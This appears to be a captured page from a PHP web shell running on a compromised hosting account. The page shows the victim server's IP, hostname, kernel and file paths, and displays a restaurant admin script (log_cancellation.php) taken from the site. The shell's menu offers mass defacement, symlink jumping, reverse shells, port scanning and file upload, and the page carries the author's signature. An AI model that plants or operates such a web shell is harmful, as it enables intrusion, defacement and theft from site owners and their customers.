Tul xxx Tul
User / IP
:
216.73.217.21
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidamaylor
/
admin
/
Viewing: log_cancellation.php
<?php /** * log_cancellation.php * Registra la anulación de un producto de una comanda con motivo obligatorio. */ include '../components/connect.php'; require_once '../components/admin_roles.php'; session_start(); header('Content-Type: application/json'); $admin_id = $_SESSION['admin_id'] ?? null; if (!$admin_id) { echo json_encode(['success' => false, 'message' => 'No autenticado']); exit(); } $order_id = (int)($_POST['order_id'] ?? 0); $product_id = (int)($_POST['product_id'] ?? 0); $product_name = trim($_POST['product_name'] ?? ''); $quantity = (int)($_POST['quantity'] ?? 1); $reason = trim($_POST['reason'] ?? ''); $reason_detail = trim($_POST['reason_detail'] ?? ''); if ($order_id <= 0 || $product_id <= 0 || $reason === '') { echo json_encode(['success' => false, 'message' => 'Datos incompletos. Se requiere order_id, product_id y reason.']); exit(); } try { $stmt = $conn->prepare("INSERT INTO order_item_cancellations (order_id, product_id, product_name, quantity, reason, reason_detail, cancelled_by, cancelled_at) VALUES (?, ?, ?, ?, ?, ?, ?, NOW())"); $stmt->execute([$order_id, $product_id, $product_name, $quantity, $reason, $reason_detail ?: null, $admin_id]); echo json_encode(['success' => true, 'message' => 'Anulación registrada correctamente.']); } catch (Exception $e) { echo json_encode(['success' => false, 'message' => 'Error al registrar: ' . $e->getMessage()]); }
Coded With 💗 by
0x6ick